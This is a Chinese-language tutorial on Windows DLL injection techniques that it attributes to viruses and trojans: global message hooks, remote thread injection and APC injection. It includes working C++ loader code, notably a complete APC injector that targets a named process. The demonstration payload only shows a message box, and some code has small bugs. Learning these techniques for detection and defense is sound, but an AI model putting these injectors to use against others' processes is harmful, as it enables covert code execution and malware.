病毒木马需要将执行的Shellcode或者DLL注入到目标进程中去执行,其中DLL注入最为普遍。因为DLL不需要像Shellcode那样要获取Kernel32.dll加载基址并根据导出表获取导出函数地址。若DLL成功注入,则表示DLL已经加载到目标进程空间中,其导入表、导出表、重定位表等均已经加载完毕,DLL中的代码可以正常执行。
1. 全局钩子注入
在windows中大部分的应用程序都是基于消息机制的,它们都有一个消息过程函数,根据不同的消息完成不同的功能。Windows操作系统提供的钩子机制就是用来截获和监视系统中这些消息的。
按照钩子的范围不同,它们又可以分为局部钩子和全局钩子函数。局部钩子是针对某个线程的,全局钩子则是作用于整个系统的基于消息的应用。全局钩子需要使用DLL文件,在DLL中实现相应的钩子函数。
1.1 函数介绍
SetWindowsHookEX函数
将程序定义的钩子函数安装到挂钩链中,安装钩子程序可以监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的所有线程想关联。
函数声明:
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_ln_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_ In_ DWORD dwThreadld)
参数:
idHook [in] 要安装的钩子程序的类型,该参数可以是以下值之一r
值 | 含 义 |
WH_CALLWNDPROC | 安装钩子程序,在系统将消息发送到目标窗口过程之前监视 消息 |
WH_CALLWNDPROCRET | 安装钩子程序,在目标窗口过程处理消息后监视消息 |
WH_CBT | 安装接收对CBT应用程序有用通知的钩子程序 |
WH DEBUG | 安装可用于调试其他钩子程序的钩子程序 |
WH_FOREGROUND1DLE | 安装在应用程序的前台线程即将变为空闲时调用的钩子过 程,该钩子对于在空闲时执行低优先级任务很有用 |
WH_GETMESSAGE | 安装一个的挂钩过程,它监视发送到消息队列的消息 |
WHJOURNALPLAYBACK | 安装一个挂钩过程,用于发布先前由WHJOURNALRECORD挂钩过程记录的消息 |
WHJOURNALRECORD | 安装一个挂钩过程,记录发布到系统消息队列中的输入消 息。这个钩子对于录制宏很有用 |
WH_KEYBOARD | 安装监视按键消息的挂钩过程 |
WH_KEYBOARD_LL | 安装监视低级键盘输入事件的挂钩过程 |
WH_MOUSE | 安装监视鼠标消息的挂钩过程 |
WH_MOUSE_LL | 安装监视低级鼠标输入事件的挂钩过程 |
WH_MSGFILTER | 安装钩子程序,用于在对话框、消息框、菜单或滚动条中监 视由于输入事件而生成的消息 |
WH_SHELL | 安装接收对shell应用程序有用通知的钩子程序 |
WH_SYSMSGFILTER | 安装钩子程序,用于在对话框、消息框、菜单或滚动条中监 视由于输入事件而生成的消息,钩子程序监视与调用线程相 同桌面中所有应用程序的这些消息 |
Ipfh [in]
一个指向钩子程序的指针。如果dwThreadld参数为0或指定由不同进程创建线程标识符, 则Ipfti参数必须指向DLL中的钩子过程。否则,Ipfh可以指向与当前进程关联的代码中的钩子过程。
hMod [in]
包含由Ipfh参数指向的钩子过程的DLL句柄。如果dwThreadld参数指定由当前进程创建 线程,并且钩子过程位于与当前进程关联的代码中,则hMod参数必须设置为NULLo
dwThreadld [in]
与钩子程序关联的线程标识符。如果此参数为0,则钩子过程与系统中所有线程相关联。
返回值:
如果函数成功,则返回值是钩子过程的句柄。
如果函数失败,则返回值为NULL。
1.2. 实现过程
如果创建的是全局钩子,那么钩子函数必须在一个DLL中。这是因为进程的地址空间是独立的,发生对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件 的进程地址空间中,使它能够调用钩子函数进行处理。
在操作系统中安装全局钩子后,只要进程接收到可以发出钩子的消息,全局钩子的DLL文 件就会由操作系统自动或强行地加载到该进程中。
因此,设置全局钩子可以达到DLL注入的目的。创建一个全局钩子后,在对应事件发生的时候,系统就会把DLL加载到发生事件的进程中, 这样,便实现了DLL注入。
为了能够让DLL注入到所有的进程中,程序设置WH GETMESSAGE消息的全局钩子。 因为WH_GETMESSAGE类型的钩子会监视消息队列,并且Windows系统是基于消息驱动 的,所以所有进程都会有自己的一个消息队列,都会加载WH_GETMESSAGE类型的全局 钩子DLL。
在EXE中加载DLL
#include <iostream> #include <windows.h> #include<cstdio> using namespace std; int main() { //定义布尔类型函数别名 typedef BOOL(*typedef_SetGlobalHook)(); typedef BOOL(*typedef_UnSetGlobalHook)(); //设置DLL句柄 HMODULE hDll = NULL; BOOL bRet = FALSE; //初始化 typedef_SetGlobalHook SetGlobalHook = NULL; typedef_SetGlobalHook UnSetGlobalHook = NULL; do { //加载DLL hDll = LoadLibraryA("GlobalHook_Test.dll"); if (hDll == NULL) { cout << "加载DLL失败\n", GetLastError(); break; } //加载DLL中的加载钩子函数 SetGlobalHook = (typedef_SetGlobalHook)GetProcAddress(hDll, "SetGlobalHook");//强制类型转换 if (SetGlobalHook == NULL) { cout << "获取DLL导出函数失败\n", GetLastError(); break; } bRet = SetGlobalHook(); if (bRet) { cout << "HOOK成功" << endl; } else { cout << "HOOK失败" << endl; break; } //系统暂停 system("pause"); //加载卸载钩子函数 UnSetGlobalHook = (typedef_SetGlobalHook)GetProcAddress(hDll, "UnsetGlobalHook"); if (UnSetGlobalHook==NULL) { cout << "卸载钩子失败" << endl; break; } UnSetGlobalHook(); cout << "卸载钩子成功" << endl; } while (false); system("pause"); return 0; }
在DLL里设置钩子函数等
// GlobalHook_Test.cpp : 定义 DLL 应用程序的导出函数。 // #include "stdafx.h" extern HMODULE g_hDllModule; // 共享内存 #pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS") // 钩子回调函数 LRESULT GetMsgProc( //LRESULT长整型,返回值是个结果 int code, WPARAM wParam, LPARAM lParam) { MessageBoxA(NULL, "注入成功", "系统提示", 1); return ::CallNextHookEx(g_hHook, code, wParam, lParam); } // 设置全局钩子 BOOL SetGlobalHook() { g_hHook = ::SetWindowsHookEx(WH_MSGFILTER, (HOOKPROC)GetMsgProc, g_hDllModule, 0); if (NULL == g_hHook) { return FALSE; } else { MessageBoxA(NULL, "钩子设置成功", "系统提示", 1); } return TRUE; } // 卸载钩子 BOOL UnsetGlobalHook() { if (g_hHook) { ::UnhookWindowsHookEx(g_hHook); } return TRUE; }
我测试了WH_KEYBOARD不能注入DLL,可能是有什么原因吧。
2. 远程线程注入
远程注入是指一个进程在另一个进程中创建线程的技术,是一种病毒木马青睐的注入技术。
2.1 session 0隔离
在Windows XP、Windows Server 2003 或早期Windows 系统时代,当第一个用户登录系统后服务和应用程序是在同一个Session 中运行的。这就是Session 0 如下图所示:
但是这种运行方式提高了系统安全风险,因为服务是通过提升了用户权限运行的,而应用程序往往是那些不具备管理员身份的普通用户运行的,其中的危险显而易见。
从Vista 开始Session 0 中只包含系统服务,其他应用程序则通过分离的Session 运行,将服务与应用程序隔离提高系统的安全性。如下图所示:
这样使得Session 0 与其他Session 之间无法进行交互,不能通过服务向桌面用户弹出信息窗口、UI 窗口等信息。
如果在开发过程中确实需要服务与桌面用户进行交互,可以通过远程桌面服务的API 绕过Session 0 的隔离完成交互操作。
2.2 远程线程注入
一个进程在另一个进程中创建线程的技术。之所以称为远程线程注入,是因为关键函数CreateRemoteTHread来在其他进程空间中创建一个线程。怎么加载一个DLL,实现DLL注入是原理的关键。
首先,程序加载一个DLL时,调用LoadLibrary函数。参数是要加载的DLL函数路径字符串。CreateRemoteThread函数需要传递是目标进程空间多线程函数地址,以及多线程参数。
可以利用这俩函数实现远程进程注入。
要解决问题:
目标空间中LoadLibrary函数地址是多少?
windows引入了地址随机化,每次开机时系统DLL加载基址都不一样,导致DLL导出函数地址不一样。有些系统DLL(例如 kernel32.dll ntdll.dll )加载基地址,要求系统启动后必须固定,如果系统重新启动,则其地址可以不同。也就是说,所软进程不同,但是开机后,kernel32.dll加载基地址在各个进程中都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址和其他进程空间的LoadLibrary函数地址相同。
如何向目标进程空间中写入DLL路径字符串数据?
调用VirtualAllocEx函数在目标进程空间中申请一块内存,然后调用WriteProcessMemory函数将指定DLL路径写入到目标进程空间中。
2.2.1 函数介绍
OpenProcess函数 打开现有的本地进程对象
函数声明
HANDLE WINAPI OpenProcess(
_In_ DWORD dwDsiredAccess,
_In_ BOOL bInheritHandle,
_In_ DWORD dwProcessId)
参数
dwDesiredAccess 访问进程对象。
bInheritHandle TRUE为创建的进程
VirtualAllocEx函数 在指定进程的虚拟地址空间内保留,提交或更改内存状态
参数
hPRocess 过程句柄。
dwSize 指定要分配所需起始地址的指针
flALLOCATIONType 内存分配类型
flProtect 要分配的页面区域的内存保护
返回值
函数成功,返回值是分配的页面基址
函数失败,返回NULL
WriteProcessMemory函数 在指定进程中将数据写入内存区域,要写入的整个内存区域必须可访问,否则失败。
参数
hProcess 要修改的进程内存句柄。句柄必须有PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限
lpBaseAddress 指向指定进程中写入数据的基地址指针。
lpBuffer 指向缓冲区指针
nSize 要写入指定进程字节数
lpNumberOfBytesWritten 指向变量的指针,该变量接收传输指定进程的字节数。
返回值
函数成功 返回不为0
失败返回0
CreateRemoteThread函数 在另一个进程的虚拟地址空间中创建运行的线程
参数
hProcess 要创建的进程句柄。
lpThreadAttributes 指向securty_attributes结构指针,该结构指定新线程的安全描述符,并确定子进程是否可以继承返回的句柄。
dwStackSize 堆栈初始大小
lpStartAddress 指向由线程指向类型为lpthread_start_routine的应用程序定义的函数指针,并表示远程进程中的线程起始地址。
lpParameter 指向要传递给线程函数的变量指针
dwCreationFlags 控制线程创建的标志
lpThreadId 指向接收线程标识符的变量指针
返回值
函数成功 返回新线程句柄
函数失败 返回NULL
3 APC注入
APC为异步过程调用,指函数在特定线程中被异步执行。APC是一种并发机制,用于异步IO或者定时器。
每一个线程都要自己的APC队列,使用QueueUserAPC函数把一个APC函数压入APC队列中。
当处于用户模式的APC压入线程队列后,该线程并不直接调用APC函数,除非该线程处于可通知状态,调用的顺序为先入先出。
可通知状态:
1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。
2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
3.1 函数介绍
QueueUserAPC(pfnAPC,hThread,dwData)函数
将用户模式中的异步过程调用对象添加到指定线程的APC队列中。
- pfnAPC 当指定线程执行可警告的等待操作时,指向应用程序提供的APC函数指针。
- hThread 线程的句柄。该句柄必须具有THREAD_SET_CONTEXT访问权限。
- dwData 传递由pfnAPC参数指向的APC函数的单个值。
3.2 实现过程
#include <SDKDDKVer.h>
#include <iostream>
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <Tlhelp32.h>
using namespace std;
void ShowError(char* Text)
{
char szErr[MAX_PATH] = { 0 };
printf(szErr, "%s Error[%d]\n", Text);
MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}
// 根据进程名获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
DWORD dwProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = FALSE;
RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
// 获取进程快照
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == NULL)
{
ShowError("CreateToolhelp32Snapshot");
return dwProcessId;
}
// 获取第一条进程快照信息
bRet = Process32First(hSnapshot, &pe32);
while (bRet)
{
// 获取快照信息
if (lstrcmpi(pe32.szExeFile, pszProcessName)==0)
{
dwProcessId = pe32.th32ProcessID;
break;
}
bRet = Process32Next(hSnapshot, &pe32);
}
return dwProcessId;
}
// 根据PID获取所有的相应的线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
DWORD dwBufferLength = 1000;
THREADENTRY32 te32 = { 0 };
HANDLE hSnapshot = NULL;
BOOL bRet = TRUE;
do
{
// 申请内存
pThreadId = new DWORD[dwBufferLength];
if (pThreadId == NULL)
{
ShowError("new space");
bRet = FALSE;
break;
}
RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));
// 获取线程快照
RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == NULL)
{
ShowError("CreateToolhelp32Snapshot");
bRet = FALSE;
break;
}
// 获取第一条线程快照信息
bRet = Thread32First(hSnapshot, &te32);
while (bRet)
{
// 获取进程对应的线程ID
if (te32.th32OwnerProcessID == dwProcessId)
{
pThreadId[dwThreadIdLength] = te32.th32ThreadID;
dwThreadIdLength++;
}
// 遍历下一个线程快照信息
bRet = Thread32Next(hSnapshot, &te32);
}
// 返回
*ppThreadId = pThreadId;
*pdwThreadIdLength = dwThreadIdLength;
bRet = TRUE;
} while (FALSE);
if (bRet == FALSE)
{
if (pThreadId)
{
delete[]pThreadId;
pThreadId = NULL;
}
}
return bRet;
}
// APC注入
BOOL ApcInjectDLL(char* pszProcessName, char* pszDLLName)
{
BOOL bRet = FALSE;
DWORD dwProcessId = 0;
DWORD* pThreadId = NULL;
DWORD dwThreadIdLength = 0;
HANDLE hProcess = NULL;
HANDLE hTread = NULL;
PVOID pBaseAddress = NULL; //PVOID => void *
PVOID pLoadLibraryAFunc = NULL;
SIZE_T dwRet = 0;
SIZE_T dwDLLPathLen = 1 + lstrlen(pszDLLName);
DWORD i = 0;
do
{
// 根据进程名获取PID
dwProcessId = GetProcessIdByProcessName(pszProcessName);
if (dwProcessId <= 0)
{
bRet = FALSE;
break;
}
// 根据PID获取所有的相应的线程ID
bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
if (bRet == FALSE)
{
bRet = FALSE;
break;
}
// 打开注入进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess == NULL)
{
ShowError("OpenProcess");
bRet = FALSE;
break;
}
// 在注入进程空间申请内存
pBaseAddress = VirtualAllocEx(hProcess, NULL, dwDLLPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pBaseAddress == NULL)
{
ShowError("VirtualAllocEx");
bRet = FALSE;
break;
}
// 向申请的空间中写入DLL路径数据
WriteProcessMemory(hProcess, pBaseAddress, pszDLLName, dwDLLPathLen, &dwRet);
if (dwRet != dwDLLPathLen)
{
ShowError("WriteProcessMemory");
bRet = NULL;
break;
}
// 获取LoadLibrary地址
pLoadLibraryAFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (pLoadLibraryAFunc == NULL)
{
ShowError("GetProcAddress");
bRet = FALSE;
break;
}
// 遍历线程 插入APC
for (i = 0; i < dwThreadIdLength; i++)
{
cout << pThreadId[i] << endl;
hTread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
if (hTread)
{
//插入APC
QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hTread, (ULONG_PTR)pBaseAddress);
CloseHandle(hTread);
hTread = NULL;
bRet = TRUE;
}
}
} while (FALSE);
// 释放内存
if (hProcess)
{
CloseHandle(hProcess);
hProcess = NULL;
}
if (hTread)
{
delete[]pThreadId;
pThreadId = NULL;
}
return bRet;
}
// 主函数
int main(int argc,_TCHAR *argv[])
{
BOOL bRet = NULL;
// APC注入
bRet = ApcInjectDLL("test.exe", "C:\\Users\\51257\\Desktop\\红\\恶意代码编写\\编程·三体\\面壁者\\Debug\\面壁者-创建DLL.dll");
if (bRet)
{
cout << "APC inject success" << endl;
}
else
{
cout << "APC inject fail" << endl;
}
system("pause");
return 0;
}